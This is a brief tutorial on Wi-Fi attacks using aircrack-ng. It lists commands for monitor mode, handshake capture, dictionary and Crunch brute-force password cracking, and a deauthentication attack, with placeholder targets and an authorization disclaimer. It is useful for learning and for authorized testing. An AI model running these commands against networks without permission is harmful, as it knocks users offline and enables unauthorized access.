Wi-Fi Attacks Practical Guide

In this guide, we'll explore Wi-Fi attacks, including switching adapters to monitor mode, capturing handshakes, and cracking passwords using aircrack-ng. Please note that attempting these actions on networks without proper authorization is illegal and unethical. This guide is for educational purposes only.

Prerequisites

Make sure you have the necessary tools installed, including aircrack-ng and Crunch.

# Install aircrack-ng
sudo apt-get install aircrack-ng

# Install Crunch
sudo apt-get install crunch

Switching Adapters to Monitor Mode

Command:

        `sudo airmon-ng start [interface]`
        
        Replace [interface] with your Wi-Fi interface name.

Capturing Handshakes

Command:

        `sudo airodump-ng [monitored_interface]`
        
        Replace [monitored_interface] with the interface created in monitor mode.

Cracking Passwords using aircrack-ng (Dictionary Attack)

Command:

        `sudo aircrack-ng -w [dictionary_file] -b [BSSID] [capture_file.cap]`
        
        Replace [dictionary_file] with the path to your dictionary file, [BSSID] with the target BSSID, and [capture_file.cap] with the handshake capture file.

Cracking Passwords using aircrack-ng and Crunch (Brute Force Method)

Create a Wordlist with Crunch:

        `crunch [min_length] [max_length] -o [output_file]`
        
        Replace [min_length] and [max_length] with the desired password length range.

Command:

        `sudo aircrack-ng -w [wordlist_file] -b [BSSID] [capture_file.cap]`
        
        Replace [wordlist_file] with the path to your wordlist file.

Executing a De-authentication Attack

Command:

    `sudo aireplay-ng --deauth [number_of_deauths] -a [BSSID] -c [client_MAC] [monitored_interface]`
    
    Replace [number_of_deauths], [BSSID], [client_MAC], and [monitored_interface] with the appropriate values.

Remember to use this knowledge responsibly and only on networks for which you have explicit permission.
